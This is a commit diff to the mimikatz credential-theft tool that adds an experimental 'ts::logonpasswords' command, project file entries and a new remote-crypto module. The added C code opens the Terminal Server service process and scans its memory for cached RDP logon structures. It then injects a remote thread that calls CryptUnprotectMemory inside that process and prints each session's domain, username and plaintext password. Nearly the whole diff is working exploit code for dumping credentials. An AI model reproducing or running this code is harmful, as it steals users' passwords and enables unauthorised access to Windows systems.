[new] mimikatz ts::logonpasswords (experimental) - try to dump passwords from Terminal Server service (8.1+/2012R2+)
This commit is contained in:
parent
c54f4162d5
commit
86679021ee
|
@ -120,6 +120,7 @@
|
|||
<ClCompile Include="..\modules\kull_m_cred.c" />
|
||||
<ClCompile Include="..\modules\kull_m_crypto.c" />
|
||||
<ClCompile Include="..\modules\kull_m_crypto_ngc.c" />
|
||||
<ClCompile Include="..\modules\kull_m_crypto_remote.c" />
|
||||
<ClCompile Include="..\modules\kull_m_crypto_sk.c" />
|
||||
<ClCompile Include="..\modules\kull_m_dpapi.c" />
|
||||
<ClCompile Include="..\modules\kull_m_file.c" />
|
||||
|
@ -233,6 +234,7 @@
|
|||
<ClInclude Include="..\modules\kull_m_cred.h" />
|
||||
<ClInclude Include="..\modules\kull_m_crypto.h" />
|
||||
<ClInclude Include="..\modules\kull_m_crypto_ngc.h" />
|
||||
<ClInclude Include="..\modules\kull_m_crypto_remote.h" />
|
||||
<ClInclude Include="..\modules\kull_m_crypto_sk.h" />
|
||||
<ClInclude Include="..\modules\kull_m_crypto_system.h" />
|
||||
<ClInclude Include="..\modules\kull_m_dpapi.h" />
|
||||
|
|
|
@ -320,6 +320,9 @@
|
|||
<ClCompile Include="modules\dpapi\packages\kuhl_m_dpapi_sccm.c">
|
||||
<Filter>local modules\dpapi\packages</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\modules\kull_m_crypto_remote.c">
|
||||
<Filter>common modules</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="mimikatz.h" />
|
||||
|
@ -659,6 +662,9 @@
|
|||
<ClInclude Include="modules\dpapi\packages\kuhl_m_dpapi_sccm.h">
|
||||
<Filter>local modules\dpapi\packages</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\modules\kull_m_crypto_remote.h">
|
||||
<Filter>common modules</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="local modules">
|
||||
|
|
|
@ -9,6 +9,8 @@ const KUHL_M_C kuhl_m_c_ts[] = {
|
|||
{kuhl_m_ts_multirdp, L"multirdp", L"[experimental] patch Terminal Server service to allow multiples users"},
|
||||
{kuhl_m_ts_sessions, L"sessions", NULL},
|
||||
{kuhl_m_ts_remote, L"remote", NULL},
|
||||
{kuhl_m_ts_logonpasswords, L"logonpasswords", L"[experimental] try to get passwords from running sessions"},
|
||||
// {kuhl_m_ts_logonpasswords2, L"logonpasswords2", L"[experimental] try to get passwords from running sessions"},
|
||||
};
|
||||
const KUHL_M kuhl_m_ts = {
|
||||
L"ts", L"Terminal Server module", NULL,
|
||||
|
@ -170,4 +172,238 @@ NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[])
|
|||
}
|
||||
else PRINT_ERROR(L"Argument id is needed\n");
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
const BYTE MyPattern[] = {0x00, 0x00, 0x00, 0x00, 0xbb, 0x47, 0x0b, 0x00};
|
||||
NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
|
||||
{
|
||||
SERVICE_STATUS_PROCESS ServiceStatusProcess;
|
||||
HANDLE hProcess;
|
||||
STRUCT_DATASEARCH myDataSearch = {NULL, {(LPVOID) MyPattern, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}};
|
||||
|
||||
if(kull_m_service_getUniqueForName(L"TermService", &ServiceStatusProcess))
|
||||
{
|
||||
if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING)
|
||||
{
|
||||
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, ServiceStatusProcess.dwProcessId))
|
||||
{
|
||||
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &myDataSearch.hMemory))
|
||||
{
|
||||
kull_m_process_getMemoryInformations(myDataSearch.hMemory, kuhl_m_ts_logonpasswords_MemoryAnalysis, &myDataSearch);
|
||||
kull_m_memory_close(myDataSearch.hMemory);
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"OpenProcess");
|
||||
}
|
||||
else PRINT_ERROR(L"Service is not running\n");
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName");
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg)
|
||||
{
|
||||
PSTRUCT_DATASEARCH pMyDataSearch = (PSTRUCT_DATASEARCH) pvArg;
|
||||
KULL_M_MEMORY_SEARCH sMemory;
|
||||
|
||||
if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE))
|
||||
{
|
||||
sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = pMyDataSearch->hMemory;
|
||||
sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = pMemoryBasicInformation->BaseAddress;
|
||||
sMemory.kull_m_memoryRange.size = pMemoryBasicInformation->RegionSize;
|
||||
|
||||
if(kull_m_memory_search(&pMyDataSearch->aPattern, sizeof(MyPattern), &sMemory, TRUE)) // lucky only one by segment
|
||||
{
|
||||
kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(pMyDataSearch->hMemory, sMemory.result);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr)
|
||||
{
|
||||
WTS_KIWI clientData;
|
||||
KULL_M_MEMORY_ADDRESS aLocal = {&clientData, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {Addr, hProcess};
|
||||
BOOL decStatus = TRUE;
|
||||
|
||||
if(aProcess.address)
|
||||
{
|
||||
if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(WTS_KIWI)))
|
||||
{
|
||||
if(clientData.cbDomain < sizeof(clientData.Domain))
|
||||
{
|
||||
if(clientData.cbUsername < sizeof(clientData.UserName))
|
||||
{
|
||||
if(clientData.cbPassword < sizeof(clientData.Password))
|
||||
{
|
||||
kprintf(
|
||||
L"\n Domain : %.*s\n"
|
||||
L" UserName : %.*s\n",
|
||||
clientData.cbDomain / sizeof(wchar_t), clientData.Domain,
|
||||
clientData.cbUsername/ sizeof(wchar_t), clientData.UserName
|
||||
);
|
||||
|
||||
if(clientData.cbPassword && (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10))
|
||||
{
|
||||
decStatus = kull_m_crypto_remote_CryptUnprotectMemory(hProcess, clientData.Password, sizeof(clientData.Password), CRYPTPROTECTMEMORY_SAME_PROCESS);
|
||||
}
|
||||
|
||||
if(decStatus)
|
||||
{
|
||||
kprintf(L" Password : %.*s\n", clientData.cbPassword / sizeof(wchar_t), clientData.Password);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
const char c_CRDPWDUMXStack[] = "CRDPWDUMXStack";
|
||||
NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[])
|
||||
{
|
||||
SERVICE_STATUS_PROCESS ServiceStatusProcess;
|
||||
HANDLE hProcess;
|
||||
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModule;
|
||||
|
||||
KULL_M_MEMORY_ADDRESS aPattern = {(LPVOID) c_CRDPWDUMXStack, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
|
||||
KULL_M_MEMORY_SEARCH sMemory = {{{NULL, NULL}, 0}, NULL};
|
||||
|
||||
STRUCT_MYSEARCH mySearch = {NULL, 0xdbcaabcd, 0x00000001};
|
||||
STRUCT_DATASEARCH myDataSearch = {NULL, {&mySearch, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}};
|
||||
|
||||
if(kull_m_service_getUniqueForName(L"TermService", &ServiceStatusProcess))
|
||||
{
|
||||
if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING)
|
||||
{
|
||||
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, ServiceStatusProcess.dwProcessId))
|
||||
{
|
||||
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory))
|
||||
{
|
||||
if(kull_m_process_getVeryBasicModuleInformationsForName(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, (MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_BUILD_10_1809) ? L"rdpserverbase.dll" : L"rdpcorets.dll", &iModule))
|
||||
{
|
||||
kprintf(L"Module @ 0x%p (%u)\n", iModule.DllBase.address, iModule.SizeOfImage);
|
||||
|
||||
sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = iModule.DllBase.address;
|
||||
sMemory.kull_m_memoryRange.size = iModule.SizeOfImage;
|
||||
|
||||
if(kull_m_memory_search(&aPattern, sizeof(c_CRDPWDUMXStack), &sMemory, TRUE))
|
||||
{
|
||||
myDataSearch.hMemory = sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory;
|
||||
mySearch.pCRDPWDUMXStack = (LPCSTR) sMemory.result;
|
||||
kprintf(L"CRDPWDUMXStack @ 0x%p\n", mySearch.pCRDPWDUMXStack);
|
||||
kull_m_process_getMemoryInformations(myDataSearch.hMemory, kuhl_m_ts_logonpasswords_MemoryAnalysis, &myDataSearch);
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
|
||||
kull_m_memory_close(myDataSearch.hMemory);
|
||||
}
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"OpenProcess");
|
||||
}
|
||||
else PRINT_ERROR(L"Service is not running\n");
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName");
|
||||
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg)
|
||||
{
|
||||
PSTRUCT_DATASEARCH pMyDataSearch = (PSTRUCT_DATASEARCH) pvArg;
|
||||
KULL_M_MEMORY_SEARCH sMemory;
|
||||
|
||||
if((pMemoryBasicInformation->Type == MEM_PRIVATE) && (pMemoryBasicInformation->State != MEM_FREE) && (pMemoryBasicInformation->Protect == PAGE_READWRITE))
|
||||
{
|
||||
sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = pMyDataSearch->hMemory;
|
||||
sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = pMemoryBasicInformation->BaseAddress;
|
||||
sMemory.kull_m_memoryRange.size = pMemoryBasicInformation->RegionSize;
|
||||
|
||||
if(kull_m_memory_search(&pMyDataSearch->aPattern, sizeof(STRUCT_MYSEARCH), &sMemory, TRUE))
|
||||
{
|
||||
kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(pMyDataSearch->hMemory, (PBYTE) sMemory.result - FIELD_OFFSET(UNK_STRUCT0, pCRDPWDUMXStack));
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr)
|
||||
{
|
||||
UNK_STRUCT0 unkStruct0;
|
||||
PVOID unk0;
|
||||
WTS_KIWI clientData;
|
||||
KULL_M_MEMORY_ADDRESS aLocal = {&unkStruct0, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {Addr, hProcess};
|
||||
|
||||
if(Addr)
|
||||
{
|
||||
kprintf(L"\n[ %p ]\n", Addr);
|
||||
//kprintf(L"\nEntry\n=====\n");
|
||||
if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(UNK_STRUCT0)))
|
||||
{
|
||||
kprintf(L" unkp0 : %p\n", unkStruct0.unkp0);
|
||||
kprintf(L" unkp1 : %p\n", unkStruct0.unkp1);
|
||||
|
||||
kprintf(L" pCRDPWDUMXStack : %p\n", unkStruct0.pCRDPWDUMXStack);
|
||||
kprintf(L" unk0 : 0x%08x\n", unkStruct0.unk0);
|
||||
kprintf(L" unk1 : 0x%08x\n", unkStruct0.unk1);
|
||||
|
||||
kprintf(L" unkThis0 : %p\n", unkStruct0.unkThis0);
|
||||
kprintf(L" unk2 : 0x%08x\n", unkStruct0.unk2);
|
||||
|
||||
kprintf(L" unkp2 : %p\n", unkStruct0.unkp2);
|
||||
kprintf(L" ImageBase : %p\n", unkStruct0.ImageBase);
|
||||
kprintf(L" unkp3 : %p\n", unkStruct0.unkp3);
|
||||
kprintf(L" unkp4 : %p\n", unkStruct0.unkp4);
|
||||
kprintf(L" unkp5 : %p\n", unkStruct0.unkp5);
|
||||
|
||||
kprintf(L" unk3 : 0x%08x\n", unkStruct0.unk3);
|
||||
kprintf(L" unk4 : 0x%08x\n", unkStruct0.unk4);
|
||||
kprintf(L" unk5 : 0x%08x\n", unkStruct0.unk5);
|
||||
kprintf(L" unk6 : 0x%08x\n", unkStruct0.unk6);
|
||||
kprintf(L" unk7 : 0x%08x\n", unkStruct0.unk7);
|
||||
|
||||
kprintf(L" unkp6 : %p\n", unkStruct0.unkp6);
|
||||
kprintf(L" unkp7 : %p\n", unkStruct0.unkp7);
|
||||
kprintf(L" unkp8 : %p\n", unkStruct0.unkp8);
|
||||
kprintf(L" unkp9 : %p\n", unkStruct0.unkp9);
|
||||
kprintf(L" unkp10 : %p\n", unkStruct0.unkp10);
|
||||
kprintf(L" + 1160 : %p\n", (PBYTE) unkStruct0.unkp10 + 1160);
|
||||
kprintf(L" unkp11 : %p\n", unkStruct0.unkp11);
|
||||
kprintf(L" unkp12 : %p\n", unkStruct0.unkp12);
|
||||
|
||||
aLocal.address = &unk0;
|
||||
aProcess.address = (PBYTE) unkStruct0.unkp10 + 1160; // 2019
|
||||
//aProcess.address = (PBYTE) unkStruct0.unkp8 + 1160; // 2016
|
||||
|
||||
|
||||
if(aProcess.address)
|
||||
{
|
||||
if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(PVOID)))
|
||||
{
|
||||
aLocal.address = &clientData;
|
||||
aProcess.address = unk0;
|
||||
|
||||
if(aProcess.address)
|
||||
{
|
||||
if(kull_m_memory_copy(&aLocal, &aProcess, sizeof(WTS_KIWI)))
|
||||
{
|
||||
kull_m_string_wprintf_hex(&clientData, 8, 1); kprintf(L"\n");
|
||||
|
||||
kprintf(L" 0 : 0x%08x\n", clientData.unk0);
|
||||
kprintf(L" Magic : 0x%08x\n", clientData.unk1);
|
||||
kprintf(L" Domain : %.*s\n", clientData.cbDomain / sizeof(wchar_t), clientData.Domain);
|
||||
kprintf(L" UserName : %.*s\n", clientData.cbUsername/ sizeof(wchar_t), clientData.UserName);
|
||||
// kprintf(L" Password(e): "); kull_m_string_wprintf_hex(clientData.Password, sizeof(clientData.Password), 0); kprintf(L"\n");
|
||||
if(kull_m_crypto_remote_CryptUnprotectMemory(hProcess, clientData.Password, sizeof(clientData.Password), CRYPTPROTECTMEMORY_SAME_PROCESS))
|
||||
{
|
||||
kprintf(L" Password : %.*s\n", clientData.cbPassword / sizeof(wchar_t), clientData.Password);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
*/
|
|
@ -5,16 +5,21 @@
|
|||
*/
|
||||
#pragma once
|
||||
#include "kuhl_m.h"
|
||||
#include "../modules/kull_m_patch.h"
|
||||
#include "../modules/kull_m_service.h"
|
||||
#include "../modules/kull_m_process.h"
|
||||
#include "../modules/kull_m_memory.h"
|
||||
#include "../../modules/kull_m_patch.h"
|
||||
#include "../../modules/kull_m_service.h"
|
||||
#include "../../modules/kull_m_process.h"
|
||||
#include "../../modules/kull_m_memory.h"
|
||||
#include "../../modules/kull_m_crypto_remote.h"
|
||||
|
||||
const KUHL_M kuhl_m_ts;
|
||||
|
||||
NTSTATUS kuhl_m_ts_multirdp(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_ts_sessions(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_ts_remote(int argc, wchar_t * argv[]);
|
||||
NTSTATUS kuhl_m_ts_logonpasswords(int argc, wchar_t * argv[]);
|
||||
|
||||
BOOL CALLBACK kuhl_m_ts_logonpasswords_MemoryAnalysis(PMEMORY_BASIC_INFORMATION pMemoryBasicInformation, PVOID pvArg);
|
||||
void kuhl_m_ts_logonpasswords_MemoryAnalysis_candidate(PKULL_M_MEMORY_HANDLE hProcess, PVOID Addr);
|
||||
|
||||
#define LOGONID_CURRENT ((ULONG) -1)
|
||||
#define SERVERHANDLE_CURRENT ((HANDLE) NULL)
|
||||
|
@ -194,4 +199,62 @@ extern BOOLEAN WINAPI WinStationQueryInformationW(IN HANDLE hServer, IN ULONG Se
|
|||
extern BOOLEAN WINAPI WinStationSetInformationW(IN HANDLE hServer, IN ULONG SessionId, IN WINSTATIONINFOCLASS WinStationInformationClass, IN PVOID pWinStationInformation, IN ULONG WinStationInformationLength);
|
||||
|
||||
extern LPWSTR NTAPI RtlIpv4AddressToStringW(IN const IN_ADDR *Addr, OUT LPWSTR S);
|
||||
extern LPWSTR NTAPI RtlIpv6AddressToStringW(IN const PVOID /*IN6_ADDR **/Addr, OUT LPWSTR S);
|
||||
extern LPWSTR NTAPI RtlIpv6AddressToStringW(IN const PVOID /*IN6_ADDR **/Addr, OUT LPWSTR S);
|
||||
|
||||
typedef struct _STRUCT_DATASEARCH {
|
||||
PKULL_M_MEMORY_HANDLE hMemory;
|
||||
KULL_M_MEMORY_ADDRESS aPattern;
|
||||
} STRUCT_DATASEARCH, *PSTRUCT_DATASEARCH;
|
||||
|
||||
#define WTS_DOMAIN_LENGTH 255
|
||||
#define WTS_USERNAME_LENGTH 255
|
||||
#define WTS_PASSWORD_LENGTH 255
|
||||
#pragma pack(push, 2)
|
||||
typedef struct _WTS_KIWI {
|
||||
DWORD unk0;
|
||||
DWORD unk1;
|
||||
WORD cbDomain;
|
||||
WORD cbUsername;
|
||||
WORD cbPassword;
|
||||
DWORD unk2;
|
||||
WCHAR Domain[WTS_DOMAIN_LENGTH + 1];
|
||||
WCHAR UserName[WTS_USERNAME_LENGTH + 1];
|
||||
WCHAR Password[WTS_PASSWORD_LENGTH + 1];
|
||||
} WTS_KIWI, *PWTS_KIWI;
|
||||
#pragma pack(pop)
|
||||
|
||||
/*
|
||||
typedef struct _STRUCT_MYSEARCH {
|
||||
LPCSTR pCRDPWDUMXStack; // "CRDPWDUMXStack"
|
||||
DWORD unk0; // 0xdbcaabcd
|
||||
DWORD unk1; // 0x00000001
|
||||
} STRUCT_MYSEARCH, *PSTRUCT_MYSEARCH;
|
||||
|
||||
typedef struct _UNK_STRUCT0 { // 0x2f8
|
||||
PVOID unkp0; // &CTSAsyncResultImpl::`vftable'{for `INonDelegatingUnknown'};
|
||||
PVOID unkp1; // &CTSUnknownCrossModule::`vftable'{for `CTSObject'};
|
||||
LPCSTR pCRDPWDUMXStack; // "CRDPWDUMXStack"
|
||||
DWORD unk0; // 0xdbcaabcd
|
||||
DWORD unk1; // 0x00000001
|
||||
PVOID unkThis0; // this
|
||||
DWORD unk2; // 0, 2 ?
|
||||
PVOID unkp2; // &CTSUnknownCrossModule::`vftable'
|
||||
PVOID ImageBase; //
|
||||
PVOID unkp3; // &CRDPWDUMXStack::`vftable'{for `IRDPWDUMX_StackEx'};
|
||||
PVOID unkp4; // &CRDPWDUMXStack::`vftable'{for `IRDPENCNetStreamEvents'};
|
||||
PVOID unkp5; // &CRDPWDUMXStack::`vftable'{for `IRDPNetworkDetectTransport'};
|
||||
DWORD unk3; // 1 ?
|
||||
DWORD unk4; // ?
|
||||
DWORD unk5; // 1 ?
|
||||
DWORD unk6; // 59 ?
|
||||
DWORD unk7; //
|
||||
// align
|
||||
PVOID unkp6; //
|
||||
PVOID unkp7; //
|
||||
PVOID unkp8;
|
||||
PVOID unkp9;
|
||||
PVOID unkp10; /// :)
|
||||
PVOID unkp11;
|
||||
PVOID unkp12;
|
||||
} UNK_STRUCT0, *PUNK_STRUCT0;
|
||||
*/
|
|
@ -0,0 +1,54 @@
|
|||
/* Benjamin DELPY `gentilkiwi`
|
||||
https://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : https://creativecommons.org/licenses/by/4.0/
|
||||
*/
|
||||
#include "kull_m_crypto_remote.h"
|
||||
|
||||
#pragma optimize("", off)
|
||||
DWORD WINAPI kull_m_crypto_remote_thread_CryptProtectMemory_Generic(PREMOTE_LIB_DATA lpParameter) // to Protect & Unprotect
|
||||
{
|
||||
lpParameter->output.outputData = lpParameter->input.inputData;
|
||||
lpParameter->output.outputSize = lpParameter->input.inputSize;
|
||||
lpParameter->output.outputStatus = ((PCRYPTUNPROTECTMEMORY) 0x4141414141414141)(lpParameter->input.inputData, lpParameter->input.inputSize, lpParameter->input.inputDword);
|
||||
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
DWORD kull_m_crypto_remote_thread_CryptProtectMemory_Generic_end(){return 'kipr';}
|
||||
#pragma optimize("", on)
|
||||
|
||||
BOOL WINAPI kull_m_crypto_remote_CryptProtectMemory_Generic(__in PKULL_M_MEMORY_HANDLE hProcess, __in BOOL bIsProtect, __inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags)
|
||||
{
|
||||
BOOL status = FALSE;
|
||||
PREMOTE_LIB_INPUT_DATA iData;
|
||||
REMOTE_LIB_OUTPUT_DATA oData;
|
||||
|
||||
REMOTE_EXT extensions[] = {
|
||||
{L"dpapi.dll", "CryptProtectMemory", (PVOID) 0x4141414141414141, NULL},
|
||||
{L"dpapi.dll", "CryptUnprotectMemory", (PVOID) 0x4141414141414141, NULL},
|
||||
};
|
||||
MULTIPLE_REMOTE_EXT extForCb = {1, bIsProtect ? &extensions[0] : &extensions[1]};
|
||||
KULL_M_MEMORY_ADDRESS aRemoteFunc;
|
||||
|
||||
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(hProcess, kull_m_crypto_remote_thread_CryptProtectMemory_Generic, (DWORD) ((PBYTE) kull_m_crypto_remote_thread_CryptProtectMemory_Generic_end - (PBYTE) kull_m_crypto_remote_thread_CryptProtectMemory_Generic), &extForCb, &aRemoteFunc))
|
||||
{
|
||||
if(iData = kull_m_remotelib_CreateInput(NULL, dwFlags, cbDataIn, pDataIn))
|
||||
{
|
||||
if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData))
|
||||
{
|
||||
status = (BOOL) oData.outputStatus;
|
||||
|
||||
if(status)
|
||||
{
|
||||
RtlCopyMemory(pDataIn, oData.outputData, min(cbDataIn, oData.outputSize));
|
||||
}
|
||||
// LocalFree oData.outputData ?
|
||||
}
|
||||
LocalFree(iData);
|
||||
}
|
||||
kull_m_memory_free(&aRemoteFunc);
|
||||
}
|
||||
else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n");
|
||||
|
||||
return status;
|
||||
}
|
|
@ -0,0 +1,16 @@
|
|||
/* Benjamin DELPY `gentilkiwi`
|
||||
https://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : https://creativecommons.org/licenses/by/4.0/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globals.h"
|
||||
#include "kull_m_remotelib.h"
|
||||
|
||||
//typedef BOOL (WINAPI * PCRYPTPROTECTMEMORY) (__inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags);
|
||||
typedef BOOL (WINAPI * PCRYPTUNPROTECTMEMORY) (__inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags);
|
||||
|
||||
BOOL WINAPI kull_m_crypto_remote_CryptProtectMemory_Generic(__in PKULL_M_MEMORY_HANDLE hProcess, __in BOOL bIsProtect, __inout LPVOID pDataIn, __in DWORD cbDataIn, __in DWORD dwFlags);
|
||||
|
||||
#define kull_m_crypto_remote_CryptProtectMemory(hProcess, pDataIn, cbDataIn, dwFlags) kull_m_crypto_remote_CryptProtectMemory_Generic(hProcess, TRUE, pDataIn, cbDataIn, dwFlags)
|
||||
#define kull_m_crypto_remote_CryptUnprotectMemory(hProcess, pDataIn, cbDataIn, dwFlags) kull_m_crypto_remote_CryptProtectMemory_Generic(hProcess, FALSE, pDataIn, cbDataIn, dwFlags)
|
Loading…
Reference in New Issue